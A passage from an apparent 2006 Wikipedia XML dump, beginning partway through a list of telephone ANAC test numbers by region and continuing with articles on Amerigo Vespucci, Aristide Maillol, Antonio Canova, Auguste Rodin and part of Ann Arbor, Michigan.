*707:  211-2222         Eureka, CA
*708:  1-200-555-1212   Chicago/Elgin, IL
*708:  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
*708:  200-6153         Chicago/Elgin, IL
*713:  380              Houston, TX
*713:  811              Humble, TX
*713:  380-5555-5555    Houston, TX
*714:  114              Anaheim, CA (GTE)
*714:  211-2121         Anaheim, CA (PacBell)
*714:  211-2222         Anaheim, CA (Pacbell)
*714:  211-7777         Anaheim, CA (Pacbell)
*716:  511              Buffalo/Niagara Falls, NY
*716:  990              Buffalo/Niagara Falls, NY
*717:  711              Coaldale/Lansford/Summit Hill, PA (Alltel)
*717:  958              Harrisburg/Scranton/Wilkes-Barre, PA
*718:  958              Bronx/Brooklyn/Queens/Staten Island, NY
*781:  200-2222222      Boston
*770:  780-2311         Atlanta/Marietta/Norcross, GA
*802:  2-222-222-2222   Vermont
*802:  200-222-2222     Vermont
*802:  1-700-222-2222   Vermont
*802:  111-2222         Vermont
*804: 990               Virginia Beach, VA
*805:  114              Bakersfield/Santa Barbara, CA
*805:  211-2345         Bakersfield/Santa Barbara, CA
*805:  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)
*805:  830              Bakersfield/Santa Barbara, CA
*810:  200200200200200  Flint/Pontiac/Southfield/Troy, MI
*810:  311              Pontiac/Southfield/Troy, MI
*812:  410-555-1212     Evansville, IN
*813:  311              Ft. Meyers/St. Petersburg/Tampa, FL
*815:  200-3374         Crystal Lake, IL
*815:  270-3374         Crystal Lake, IL
*815:  770-3374         Crystal Lake, IL
*815:  290              La Salle/Rockford, IL
*816:  959-1122         Kansas City Metro Area (Missouri side)
*817:  211              Ft. Worth/Waco, TX
*817:  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)
*818:  1223             Pasadena, CA (Some 1AESS switches)
*818:  211-2345         Pasadena, CA (English response)
*818:  211-2346         Pasadena, CA (DTMF response)
*845:  990              Hudson Valley region, NY
*860:  970              CT
*903:  970-611-1111     Tyler, TX
*904:  200-222-222      Jackonsville/Pensacola/Tallahasee, FL
*906:  1-200-222-2222   Marquette/Sault Ste. Marie, MI
*907:  811              AK
*908:  958              New Brunswick, NJ
*908:  311-MMYY         Sprint United of NJ (MMYY is month/year)
*909:  111              Riverside/San Bernardino, CA (GTE)
*910:  200              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
*910:  311              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
*910:  988              Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
*913:  959-1122         Kansas City Metro Area (Kansas side)
*914:  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
*916:  211-0007         Sacramento, CA (Pac Bell)
*916:  461              Sacramento, CA (Roseville Telephone)
*919:  200              Durham, NC
*919:  711              Durham, NC
*919:  958-1114         Durham, NC
*928:  666-1111         Northern Arizona
*954:  200-555-1212     Ft. Lauderdale, FL
*954:  200200200200200  Ft. Lauderdale, FL
*954:  780-2411         Ft. Lauderdale, FL
*970:  958-1114         Greeley, CO (Qwest)

===Canada===

*204:  644-4444         Manitoba
*250:  958-6111         All of British Columbia excluding Vancouver (604)
*306:  115              Saskatchewan
*403:  311              Alberta, Yukon and N.W. Territory (except Calgary, Alberta)
*403:  958-6111         Alberta (Telus)
*403:  705-0311         Alberta (Allstream - may work in other parts of Canada - untested)
*403:  555-0311         Alberta (GroupTel - may work in other parts of Canada - untested)
*403:  908-222-2222     Alberta, Yukon and N.W. Territory
*403:  999              Alberta, Yukon and N.W. Territory
*416:  981-0001         Toronto, Ontario 
*450:  320-1180         Most of the province of Quebec
*506:  1-555-1313       New Brunswick
*514:  320-1232         Montreal, Quebec
*514:  320-1223         Montreal, Quebec
*514:  320-1233         Montreal, Quebec
*514:  320-1180         Most of the province of Quebec
*519:  958-2622         Ontario -Bell ANAC-
*519:  555-0311         Ontario -Rogers ANAC-
*604:  1116             British Columbia
*604:  1211             British Columbia
*604:  211              British Columbia
*613:  958-2622         Ontario -Bell ANAC-
*613:  555-0311         Ontario -Rogers ANAC-
*705:  320-4567         North Bay/Saulte Ste. Marie, Ontario
*709:  311              Newfoundland
*780:  958-6111         Northern Alberta
*819:  320-1112         Quebec
*819:  320-1180         Most of the province of Quebec

===Toll-free ANACs===

*800-437-7950 MCI
*800-213-2233 WORKS [ANI + NUMBER]
*800-314-4258 WORKS [NUMBER]
*800-444-0800 &quot; &quot;
*800-444-2222 &quot; &quot;
*800-444-3333 &quot; &quot;
*800-444-4444 &quot; &quot;
*800-444-5555 &quot; &quot;
*800-552-8355 WORKS - MCI [NUMBER]
*800-877-2278 WORKS [009949 + NUMBER]
*1010-732-1770-988-9664 (UNIVERSAL ANAC NUMBER) LINES WITH 1010 BLOCKS OR NO LONG DISTANCE *CARRIER WILL GIVE AN INTERCEPT MESSAGE

===United Kingdom===

*17070, BT Linetest Facilities
*08081707788, it does have a long introductory message, but it is useful on [[COCOT|COCOTs]] which have 17070 barred.

===Israel===

*110

===Australia===

*127 22 123
*1800 801 920

===New Zealand===

*1956 or 0(8)320-1231 area code &amp; number
*1957 or 0(8)320-1234 local number

You can also dial from overseas to test if your (CPN) Caller ID number is being passed on to New Zealand. Dial +64(8)320-1231, from USA/Canada and rest of NANP dial 011-64-8-320-1231 to hear your 3 digit area code &amp; 7 digit local number read back to you from N.Z.
Edited by Dion Wood +1(800)808-KIWI (Illinois)

===South Africa===
*+27 21 405 9111 Cape Town ANAC
*+27 21 405 9116 Cape Town ANAC with callback


Edited by Andy Ashley (andy@nexus6.co.za)

[[Category:Telephony]]</text>
    </revision>
  </page>
  <page>
    <title>Amerigo Vespucci</title>
    <id>2062</id>
    <revision>
      <id>42106687</id>
      <timestamp>2006-03-03T21:44:14Z</timestamp>
      <contributor>
        <ip>82.125.205.175</ip>
      </contributor>
      <text xml:space="preserve">'''[[Amerigo Vespucci]]''' ([[March 9]], [[1454]] in [[Florence]], [[Italy]] - [[February 22]], [[1512]]) was an [[Italy|Italian]] merchant and [[cartography|cartographer]] who voyaged to and wrote about [[the Americas]]. His exploratory journeys along the eastern coastline of [[South America]] convinced him that a new continent had been discovered, a bold contention in his day when everyone, including [[Christopher Columbus]], thought the seafaring trailblazers setting out from European docks were travelling to [[East Asia]]. 

[[image:Amerigo_Vespucci.jpg|thumb|200px|right| Amerigo Vespucci]]

Amerigo Vespucci was born in [[Florence]], [[Italy]], as the third child of a respected family. His father was a notary for the Money Changers' [[Guild]] of Florence. 

The role of Vespucci has been much debated, particularly due to two of his letters whose authenticity has been brought into doubt: the ''Mundus Novus'' ([[New World]]) and the ''Lettera'' (or &quot;The Four Voyages&quot;). While some have suggested that Vespucci was exaggerating his role and constructed deliberate fabrications, others have instead proposed that the two letters were forgeries written by others of the same period.

It may have been the publication and widespread circulation of his letters that led [[Martin Waldseemüller]] to name the new continent [[The Americas|America]] on his world map of [[1507]]. Vespucci styled himself ''Americus Vespucius'' in his [[Latin]] writings, so Waldseemüller based the new name on the Latin form of Vespucci's first name, taking the feminine form ''America''. (See also [[Naming_of_America#Naming_of_America|Naming of America]].) ''Amerigo'' itself is an [[Italian language|Italian]] form of the medieval [[Latin]] ''Emericus'' (see also [[Emeric of Hungary (saint)|Saint Emeric of Hungary]]), which through the [[German language|German]] form [[Heinrich]] (in [[English language|English]], [[Henry]]) derived from the [[Germanic languages|Germanic]] name ''[[Haimirich]]''.

The two disputed letters claim that Vespucci made four voyages to America, while at most three can be verified from other sources. It is now generally accepted by historians that no voyage was made in [[1497]] (which allegedly began from [[Cádiz]] on [[May 10th]] of that year).

[[Image:Amerigo Vespucci01.jpg|thumb|left|200px|Statue at the [[Uffizi]], Florence]]
In [[1499]]&amp;ndash;[[1500]], Vespucci joined an expedition led by [[Alonso de Ojeda]]. After hitting land at the coast of what is now [[Guyana]], the two seem to have separated. Vespucci sailed southward, discovering the mouth of the [[Amazon River]] and reaching 6°S, before turning around and seeing [[Trinidad]] and the [[Orinoco River]] and returning to [[Spain]] by way of [[Hispaniola]]. Vespucci claimed, in a letter to Lorenzo di Medici, that he determined his longitude celestially on August 23, 1499, while on this voyage. But his claim is clearly fraudulent, which casts more doubt on Vespucci's credibility.

His next voyage in [[1501]]&amp;ndash;[[1502]] was in service of [[Portugal]], when he reached the bay of what is now [[Rio de Janeiro]]. The leader of this expedition was [[Gonçalo Coelho]]. On this voyage he sailed southward along the coast of [[South America]]. If his own account is to be believed, he reached the latitude of [[Patagonia]] before turning back; although this also seems doubtful, since his account does not mention the broad estuary of the [[Río de la Plata]], which he must have seen if he had gotten that far south. During the first half of this expedition in [[1501]], Vespucci mapped the two [[star]]s, [[Alpha Centauri]] and [[Beta Centauri]] as well as the stars of the [[constellation]] [[Crux]]. Although these stars were known to the ancient [[Greece|Greeks]], gradual [[precession]] had lowered them below the [[Europe|European]] skyline so that they were forgotten.

Little is known of his last voyage in [[1503]]&amp;ndash;[[1504]]. It is not even known whether it actually took place. Amerigo Vespucci died in [[Seville]], [[Spain]], in [[1512]].

Vespucci's real importance for history may well not lie in his discoveries ''per se'', but in his letters, whether or not he wrote them all himself.  From these letters, the European public learned about America for the first time; its existence became generally known throughout Europe within a few years of their publication.

==External links==

*[http://www.newadvent.org/cathen/15384b.htm Catholic Encyclopedia on Amerigo Vespucci]

==References==

*James A. Canaday, ''[http://www.millersv.edu/~columbus/papers/canaday.html The Life of Amerigo Vespucci]''

*Robert Dinwiddie, ''[[Universe (book)|Universe: The Definitive Visual Dictionary]]'', (2005), DK Adult Publishing, pg 396.


[[Category:1454 births|Vespucci, Amerigo]]
[[Category:1512 deaths|Vespucci, Amerigo]]
[[Category:Natives of Florence|Vespucci, Amerigo]]
[[Category:Italian explorers|Vespucci, Amerigo]]
[[Category:Italian cartographers|Vespucci, Amerigo]]

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    </revision>
  </page>
  <page>
    <title>Aristide Maillol</title>
    <id>2063</id>
    <revision>
      <id>39213335</id>
      <timestamp>2006-02-11T15:29:45Z</timestamp>
      <contributor>
        <username>Dahn</username>
        <id>531961</id>
      </contributor>
      <text xml:space="preserve">[[Image:The_mountain.jpg|right|thumb|240px|Aristide Maillol. The mountain, 1937, lead]]
'''Aristide Maillol''' ([[April 8]] [[1861]], [[Banyuls-sur-Mer]], [[Roussillon]]&amp;mdash;[[September 27]] [[1944]], Banyuls-sur-Mer) was a [[France|French]] [[Catalans|Catalan]] [[Sculpture|sculptor]] and [[painter]].

He studied in [[Paris]], under renowned teacher [[Antoine Bourdelle]] and at the [[École des Beaux Arts]].

In the history of Modern art, Maillol's figurative stylization is perceived as an important precursor to the even greater simplifications of [[Henry Moore]] and [[Alberto Giacometti]]. But in the broader history of sculpture in the 20th century, he is known for a new kind of dream-like [[classicism]] that would set a standard for European (and [[United States|American]]) figure sculpture until the end of [[World War II]].

The paintings of his contemporaries [[Pierre Puvis de Chavannes]] and [[Paul Gauguin]] gave direction to his early work in [[tapestry]] at Banyuls and eventually his later career in sculpture, begun at age 40. 

He died in a car accident. While driving home during a rain shower, the car in which he was a passenger skidded off the road and overturned. Dina Vierny, Maillol's companion during the last 10 years of his life, established the Maillol Museum in [[Paris]].

==Other links==
* [http://www.ilovefiguresculpture.com/masters/maillol/maillol.html Masters of 20th Century Figure Sculpture]
* [http://www.museemaillol.com/index2.html Maillol Museum]


[[Category:1861 births|Maillol, Aristide]]
[[Category:1944 deaths|Maillol, Aristide]]
[[Category:Catalan painters|Maillol, Aristide]]
[[Category:Catalan sculptors|Maillol, Aristide]]
[[Category:French painters|Maillol, Aristide]]
[[Category:French sculptors|Maillol, Aristide]]
[[Category:Modern sculptors|Maillol, Aristide]]
[[Category:Road accident victims|Maillol, Aristide]]

[[de:Aristide Maillol]]
[[fr:Aristide Maillol]]
[[nl:Aristide Maillol]]
[[pt:Aristide Maillol]]</text>
    </revision>
  </page>
  <page>
    <title>Antonio Canova</title>
    <id>2064</id>
    <revision>
      <id>40287769</id>
      <timestamp>2006-02-19T15:14:27Z</timestamp>
      <contributor>
        <ip>80.128.174.191</ip>
      </contributor>
      <comment>/* Notable works by Canova */</comment>
      <text xml:space="preserve">'''Antonio Canova''' ([[November 1]], [[1757]] - [[October 13]], [[1822]]) was an [[Italy|Italian]] [[sculpture|sculptor]] who became famous for his [[marble sculpture]]s that delicately rendered [[nudity|nude]] flesh. The epitome of the [[neoclassicism|neoclassical]] sculptor, his work marked a return to [[classical]] refinement after the theatrical excesses of [[Baroque art]].

Canova was born in [[Possagno]] in the [[Province of Treviso]] where his family had for generations been [[stone cutter|stone cutter]]s; as a result and he learned to cut marble at a very early age. When only twelve years old he modelled a lion in butter, that was so liked by Signor Falieri that he sent him to be taught by Torretti, the most noted sculptor of the time. He studied ancient art and made many statues of classical subjects, as well as many monuments, busts and statues of living people, among them [[Napoleon]] and [[George Washington]]. The large fortune which he made was mostly spent in helping the poor, or in assisting other artists, he was made a [[nobleman]] and received many honors. 

Canova died in [[Venice]] aged sixty-five and was buried in the town of his birth. His heart was interred in a marble pyramid he designed as a [[mausoleum]] for the painter [[Titian]] in the church of [[Basilica di Santa Maria Gloriosa dei Frari|Santa Maria Gloriosa dei Frari]] in Venice, now a monument to the sculptor.

Among Canova's pupils were the [[United Kingdom|British]] sculptors Sir [[Richard Westmacott]] and [[John Gibson (sculptor)|John Gibson]].

=== Notable works by Canova ===
* [[The Three Graces]]
* [[Cupid and Psyche]]
* [[Cupid and Psyche with Butterfly]]
* [[Venus (mythology)|Venus]] and [[Adonis]]
* [[Daedalus]] and [[Icarus (mythology)|Icarus]]
* [[Perseus (mythology)|Perseus]] slays [[Medusa (mythology)|Medusa]]
* [[Hebe]] (1816), [[Hermitage Museum|Hermitage]] and [[Forlì]]


Canova often executed more than one copy of a successful sculpture; there are for example four versions of [[Hebe]] (the last of them is in the Museum of [[Forlì]] [http://www.comune.forli.fo.it/cultura/musei1.asp], in [[Italy]]) two copies of [[The Three Graces]] and two of [[Cupid and Psyche]].


[[Image:Persus-with-the-head-of-med.jpg|Thumb|right|250px|[[Perseus (mythology)|Perseus]] displays [[Medusa (mythology)|Medusa]]'s head in this [[1806]] Canova.]]

==External links==

*[http://www.newadvent.org/cathen/03298b.htm Catholic Encyclopedia entry for Antonio Canova]
*[http://cartelfr.louvre.fr/cartelfr/visite?srv=rs_display_res&amp;critere=antonio+canova&amp;operator=AND&amp;nbToDisplay=5&amp;langue=fr French page on Louvre site lnking to three sculptures by Canova and two portraits of the artist]
*[http://www.insecula.com/contact/A006518.html Insecula.com: French language biography and links to pages on works]
*[http://www.cis.nctu.edu.tw/~whtsai/Trip%20to%20Russia/Main%20pages/Representative%20pictures%20for%20days/06%20A%20marble%20sculpture%20by%20Antonio%20Canova%20---%20The%20Three%20Graces.JPG Canova's ''Three Graces'' (first version) in the Hermitage museum, St. Petersburg]
*[http://community.webshots.com/photo/326866966/326866966ttQPqU Webshots Community picture of Canova's '''Three Graces'' (second version) in the V&amp;amp;A (links to bigger image)]
*[http://community.webshots.com/photo/129745084/129745932sUQTgh Perseus and Medusa at Webshots Community (links to bigger image)]
*[http://community.webshots.com/photo/188747586/188753190zvQmQe Another view on Webshots (links to bigger image)]
*[http://community.webshots.com/photo/199795066/200922982yoxIIA Waist up, another Webshots photo]
*[http://community.webshots.com/photo/188540285/188550279aIMUbU Perseus back view from Webshots]
*[http://www.scultura-italiana.com/Galleria/Canova%20Antonio/index.html Antonio Canova: Photo Gallery]


[[Category:1822 deaths|Canova, Antonio]]
[[Category:Italian sculptors|Canova, Antonio]]
[[Category:Neoclassical sculptors|Canova, Antonio]]

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    </revision>
  </page>
  <page>
    <title>Auguste Rodin</title>
    <id>2065</id>
    <revision>
      <id>39677144</id>
      <timestamp>2006-02-15T02:37:35Z</timestamp>
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      <text xml:space="preserve">{{otheruses4|the artist and sculptor Auguste Rodin|&quot;Rodan&quot;|Rodan (disambiguation)}}

[[Image:Netsurf11 - Rodin.jpg|thumb|200px|Auguste Rodin]]
[[Image:Rodin burghers of calais.jpg|thumb|200px|Rodin's ''[[The Burghers of Calais]]'' in [[Calais]], [[France]].]]
[[Image:Hoellentor.jpg|thumb|200px|''[[The Gates of Hell]]'', [[Musée Rodin]].]]

'''Auguste Rodin''' ([[November 12]], [[1840]] &amp;ndash; [[November 17]], [[1917]]) was a [[France|French]] [[Sculpture|sculptor]].

Born '''François-Auguste-René Rodin''', to a working class family in Paris, he is often given a pivotal role in the history of modern  [[sculpture]], as 
both excelling at and rebelling from the [[Beaux-arts]] tradition. His unique, virtuoso ability to organize a complex, turbulent, deeply pocketed surface set him apart from the figure sculpture traditions before and since his time.

Despite the talent evident in his portrait of the local priest who helped him discover his vocation, Rodin was denied admission to the Beaux Arts academy. He was accepted, however, at a trade school for decorative sculpture, and later moved to Belgium to work in a studio that produced that kind of work.

One of his early works, ''The Age of Bronze'', created during his years in Belgium, looked so realistic that the sculptor was accused of ''[[surmoulage]]'' (taking plaster moulds from the live model).

Rodin struggled to clear his name and in 1880 was awarded the commission to create a portal for the planned Museum of Decorative Arts. Although the museum was never built, Rodin worked for 37 years on this monumental sculptural group, ''[[The Gates of Hell]]'', depicting scenes from [[Dante Alighieri|Dante]]'s ''[[The Divine Comedy|Inferno]]'' in high relief.

Many of his best-known sculptures, like ''[[The Thinker]]'' (''Le Penseur'', originally titled ''The Poet''), representing the poet Dante), ''[[The Three Shades]]'' (''Les Trois Ombres''), and ''[[The Kiss (Rodin sculpture)|The Kiss]]'' (''Le Baiser'') were designed as figures for this monumental landscape of eternal passion and punishment, and only later presented as works in their own right. Other well-known works derived from ''The Gates'' are: the ''Ugolino'' group, ''Fugitive Love'', ''The Falling Man'', ''The Sirens'', ''Fallen Caryatid Carrying her Stone'', ''Damned Women'', ''The Standing Fauness'', ''The Kneeling Fauness'', ''The Martyr'', ''She Who Once Was the Beautiful Helmetmaker's Wife'', ''Glaucus'', ''Polyphem''.

Through his method of ''[[marcottage]]'', he used the same sculptural elements time and time again, under different names and in different combinations.

Instead of copying traditional academic postures, Rodin preferred to work with amateur models, street performers, acrobats, strong men and dancers. In his [[atelier]], the models walked around freely while the sculptor made quick sketches in clay, which were later  fine-tuned, cast in plaster, and forged into bronze or marble. Rodin was fascinated by dance and spontaneous movement; his ''John the Baptist'' shows a walking preacher, displaying two phases of the same stride simultaneously.

Rodin's personal life has captured the attention of history almost as much as his sculpture.

In [[1883]], Rodin agreed to supervise [[Alfred Boucher]]'s sculpture course during his absence and so met the 18-year-old sculptress [[Camille Claudel]]. Rodin fell in love with his talented pupil, and Claudel recognized her chance to be tutored by the greatest sculptor talent of her time, who was just breaking through to fame. They became a creative and intimate couple. Claudel inspired Rodin as a model for many of his tragic love couples and assisted him during his work on another important commission, ''[[The Burghers of Calais]]'' (''Les Bourgeois de Calais'').
[[Image:Rodin study of Jean de Fiennes Figure 1884.jpg|thumb|200px|right|Rodin figure displayed near the Norton Simon Museum -Pasadena CA. {{3d_glasses}}]]

Although they shared an atelier at a small old castle (68 Boulevard d'Italie, Paris), Rodin refused to give up his ties with [[Rose Beuret]], his loyal companion during his years of poverty in Belgium and mother of their son [[Auguste-Eugène Beuret]], born [[January 18]], [[1866]]. He never fulfilled a contract with Claudel to give up all contact with other women, and marry her. After nearly 15 years, the couple parted. Claudel went her own artistic way, but found herself isolated. 

Rodin, commissioned to create a ''Monument to Victor Hugo'' in the 1890s, dealt extensively with the subject of ''artist and muse'', reflecting the various aspects of his stormy and complex relationship with Claudel in ''The Poet and Love'', ''The Genius and Pity'', ''The Sculptor and his Muse''.  Like many of Rodin's public commissions, the ''Mounument to Victor Hugo'' met resistance because it did not fit conventional expectations. The 1897 plaster model was finally cast in bronze in 1964.

His ''Monument to Balzac'', exhibited at the 1898 salon at the Champ des Mars showing the writer in his morning frock, was repudiated as well. After the frustrating experience, Rodin did not finish any public commissions. Instead, after 1903 he had his most successful works enlarged to monumental dimensions.

As France's best known artist, he had a large staff of pupils, craftsmen, and stone cutters working for him. He created a number of society portrait busts, especially for wealthy American collectors, and began presenting fragmentary sculptures, which in his opinion contained the essence of his artistic statement, like ''Meditation without Arms'', ''Iris, Messenger of the Gods'' or ''The Walking Man''.

During his last creative years, Rodin concentrated on small dance studies (ca. 1915), and produced numerous erotic drawings, sketched in a loose way, without taking his pencil from the paper or his eyes from the model. An exhibition of these drawings in Weimar in 1906 caused the so-called Kessler scandal, and [[Harry Count Kessler]] was dismissed as curator of the Weimar Museum.

On [[January 29]], [[1917]], Rodin finally married Rose Beuret, who died two weeks later.

Auguste Rodin died on [[November 17]], [[1917]]. A cast of ''The Thinker'' was placed next to his tomb in [[Meudon, France|Meudon]], [[Île-de-France (région)|Île-de-France]].

==Legacy==

[[Image:Balzac Bust Rodin1892.jpg|thumb|right|200px|Rodin's bust of [[Honoré de Balzac|Balzac]], bronze, ([[1891]]-[[1892]]), which he gave to the [[Victoria and Albert Museum]] in [[1914]].]]

The [[Musée Rodin]] in [[Paris]] was founded to administer and exhibit the huge body of work (over 5,000 plaster items, over 1,000 bronze sculptures, ca. 8,000 drawings, and as many photographs) Rodin left to the French government by several deeds of donation, shortly before his death. A part of this collection is shown at Hôtel Biron, much of it displayed in an outdoor garden. The most of plaster collection is kept at Villa des Brillants in Meudon, a suburb of Paris, where Rodin lived and worked during the last decades of his life.

With his works, Rodin also transferred the rights of reproduction to the Musée Rodin. According to French Law (Decree Nr. 81.255 of [[3 March]] [[1981]]), only 12 copies of each work can be issued as an ''original'' edition. Although the copyrights to Rodin's work expired in 1981 (50 years after the artist's death considering that every year during the 2 WW periods counts double), according to French law the Musée Rodin still exerts the ''droit moral'' (moral right), to prevent damage to the artist's good name by copies of inferior quality.

One of Rodin's 1889 sculptures was used by the rock band [[Black Sabbath]] as the cover art for their 1987 album of the same name, ''[[The Eternal Idol]]''.

==Locations of Rodin sculpture==

* [[Musée Rodin]], [[Paris]]
* [[Rodin Museum]], [[Philadelphia, Pennsylvania]], United States
* [[National Gallery of Art]], [[Washington, D.C. ]], United States
* [[Metropolitan Museum of Art]], [[New York City]], United States
* A bust of [[Joseph Pulitzer]] by the artist is in the World Room of Journalism Hall at [[Columbia University]], United States
* [[Iris &amp; B. Gerald Cantor Center for Visual Arts#Rodin sculpture garden|Sculpture Garden]], [[Stanford University]], [[Palo Alto, California]], United States - ''Largest collection of Rodin bronzes outside of Paris''
* [[California Palace of the Legion of Honor]], [[San Francisco]], [[California]], United States
* [[Los Angeles County Museum of Art]], [[Los Angeles, California|Los Angeles]], [[California]], United States
* [[National Gallery of Australia]], [[Canberra]], [[Australia]]
* Public displays:
**Statue of [[Honoré de Balzac]], Boulevard Raspail, near Boulevard Montparnasse, in the [[6ème arrondissement, Paris|6th arrondissement]] of Paris
**Statue of ''[[The Burghers of Calais]]'' on [[Calais]]' main square by the town hall.

==External links==
* [http://www.musee-rodin.fr/ Musee Rodin, Paris] 
* [http://www.rodinmuseum.org/ Rodin Museum, Philadelphia]
* [http://www.insecula.com/contact/A005837.html/ Auguste Rodin works presented by Insecula ]
* [http://www.insecula.com/salle/theme_40001_M0123.html/ Views of the Musée Rodin] 
* [http://www.rodin-web.org/ Rodin-Web.org - independent academic platform]
* [http://www.scultura-italiana.com/Galleria_estero/Rodin%20Auguste/index.html Auguste Rodin: Virtual Gallery]
* [http://www.artic.edu/aic/collections/eurptg/highlight_item?acc=1987.217&amp;page=28/ The Art Institute of Chicago, Chicago, Ill.]
* [http://www.brooklynmuseum.org/exhibitions/2003/rodin/ The Brooklyn Museum]

{{Commons|Auguste Rodin}}

[[Category:1840 births|Rodin, Auguste]]
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  <page>
    <title>Ann Arbor, Michigan</title>
    <id>2067</id>
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      <timestamp>2006-03-03T23:18:37Z</timestamp>
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      <text xml:space="preserve">{{featured article}}
:''For the railroad company, see [[Ann Arbor Railroad]].''
{{Infobox City |official_name = Ann Arbor, Michigan
|nickname= A-squared, Tree Town, Ace Deuce, A-2
|image_flag = Ann-Arbor-City-Flag.png
|image_seal = Ann-Arbor-City-Seal.png
|image_map = AnnArbor_Washtenaw.png
|map_caption = Location of Ann Arbor within [[Washtenaw County, Michigan]].
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;   [[List of counties in Michigan|County]]
|subdivision_name = [[United States]]&lt;br&gt;[[Michigan]]&lt;br&gt;[[Washtenaw County, Michigan|Washtenaw]]
|leader_title = [[Mayor]]
|leader_name = [[John Hieftje]]
|area_magnitude = 1 E8 
|area_total = 27.7 sq. miles / 71.7 
|area_land = 27.0 sq. miles / 70.0
|area_water = 0.7 sq. miles / 1.7
|population_as_of = 2000
|population_note = 
|population_total = 114,024 (city proper) 
|population_density = 1,629.9
|timezone = [[Eastern Standard Time|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd=42 |latm=16 |lats=31.26 |latNS=N
|longd=83 |longm=43 |longs=51.02 |longEW=W
|website = http://www.ci.ann-arbor.mi.us
|footnotes = }}
'''Ann Arbor''' is a city in the [[U.S. state]] of [[Michigan]] and the [[county seat]] of [[Washtenaw County, Michigan|Washtenaw County]]. As of the [[United States 2000 Census|2000 census]], the city had a total population of 114,024, not including approximately 42,000 college students with permanent residences elsewhere.{{ref|population}} Supposedly named for the spouses of the city's founders and for the stands of trees in the area, Ann Arbor is best known as the location of the main campus of the [[University of Michigan]], which moved there from [[Detroit, Michigan|Detroit]] in 1837. 

The city's economy, which once centered on the production of agricultural implements, carriages, furniture, pianos and organs, pottery and flour, is now dominated by education, [[high tech]], and [[biotechnology]]. Average home prices and property taxes are well above the state and national medians. The city is also well known locally as a destination for dining out and entertainment, as it contains a wide and eclectic variety of restaurants and performance venues.

==History==
{{main|History of Ann Arbor, Michigan}}
Ann Arbor was founded in January 1824 by [[John Allen (founder)|John Allen]] and [[Elisha Rumsey]], both of whom were land speculators. There are various accounts concerning the origin of the settlement's name, but one states that Allen and Rumsey decided to name it &quot;Annarbour,&quot; for their spouses, whose names were both Ann, and for the stands of burr [[oak]] in the 640 [[acre]]s (260 [[hectare]]s) of land they had purchased for [[United States dollar|$]]800 from the federal government. The [[Native Americans (U.S.)|Native Americans]] of the region knew the settlement as ''Kaw-goosh-kaw-nick'', after the sound of Allen's grist mill.

[[Image:Ann Arbor at Liberty Street.jpg|200px|left|thumb|A view of Ann Arbor toward Liberty and State Streets, showing the [[Michigan Theater (Ann Arbor)|Michigan Theater]], the [[Borders Group|Borders]] bookstore #1, and several buildings of the University of Michigan]]
Ann Arbor later became the seat of Washtenaw County in 1827, and was incorporated as a village in 1833. The town set aside 40 acres (16 hectares) of undeveloped land and offered it to the State of Michigan as the site of the state capitol, but it lost the bid to [[Lansing, Michigan|Lansing]] in 1836. In 1837 the unused land was sold to the [[University of Michigan]], forever linking Ann Arbor and its history with the university. The town became a regional transportation hub in 1839 with the arrival of the [[Michigan Central Railroad]]. Ann Arbor was chartered as a city in 1851.

During [[World War II]], [[Ford Motor Company]]'s nearby [[Willow Run]] plant turned out [[B-24 Liberator]] bombers. The population of Ann Arbor exploded with an influx of military personnel, war workers, and their families. 

The city gained a reputation as an important center for liberal politics over the course of the 1960s and 1970s. Presidential candidate [[John F. Kennedy]] unveiled his [[Peace Corps]] proposal in 1960 at the University of Michigan, and in 1964 President [[Lyndon B. Johnson]] first called for a &quot;[[Great Society]].&quot; The city also became a locus for [[left-wing politics|left-wing]] activism, serving as a hub for the [[American civil rights movement|civil-rights movement]], the [[Opposition to U.S. involvement in the Vietnam War|anti-Vietnam War movement]], and the student movement. The first major meetings of the national left-wing campus group [[Students for a Democratic Society]] took place in Ann Arbor in 1960, and in 1965 the city was home to the first U.S. [[teach-in]] against the [[Vietnam War]]. Over the course of the ensuing fifteen years, a plethora of [[counterculture|countercultural]] and [[New Left]] enterprises sprang up and developed strong constituencies within the city.

These influences washed into municipal politics during the early and mid-1970s when three members of the local, progressive [[Human Rights Party]] (HRP) won city-council seats on the strength of the student vote. During their time on the council, HRP representatives successfully fought for measures ranging from pioneering [[civil rights|antidiscrimination]] ordinances to [[Marijuana laws in Ann Arbor, Michigan|measures decriminalizing marijuana possession]] to a [[rent control|rent-control]] ordinance – many of which remain in effect in modified form today.

Alongside these liberal and left-wing efforts, a small handful of conservative institutions were also born in Ann Arbor. These include [[Word of God (movement)|Word of God]] (established in 1967), a charismatic Catholic movement of national scope; and the [[Thomas More Law Center]] (established in 1999), a leading religious-conservative advocacy group.

The economy of Ann Arbor underwent a gradual shift from a manufacturing base to a service and technology base over the course of the 20th century, a shift which accelerated in the 1970s and 1980s. At the same time, the downtown has transformed from one dominated primarily by retail establishments dealing in staple goods to one comprised mainly of eateries, cafés, bars and clubs, and specialty shops.

Over the past several decades, the city has increasingly found itself grappling with the effects of sharply rising land values and [[gentrification]], as well as [[urban sprawl]] stretching far into the outlying countryside. On [[November 2]], [[2004]], voters approved a [[Greenbelt|greenbelt]] plan under which the city government would buy up the development rights to large swaths of land adjacent to Ann Arbor in order to prevent sprawling development. Since then, a vociferous local debate has hinged on whether, and how, to accommodate and guide development within city limits.

==Geography and climate==
[[Image:NicholsArb.JPG|thumb|right|200px|Thanks to a reforestation campaign beginning in the early 20th century, Ann Arbor has many trees.]]
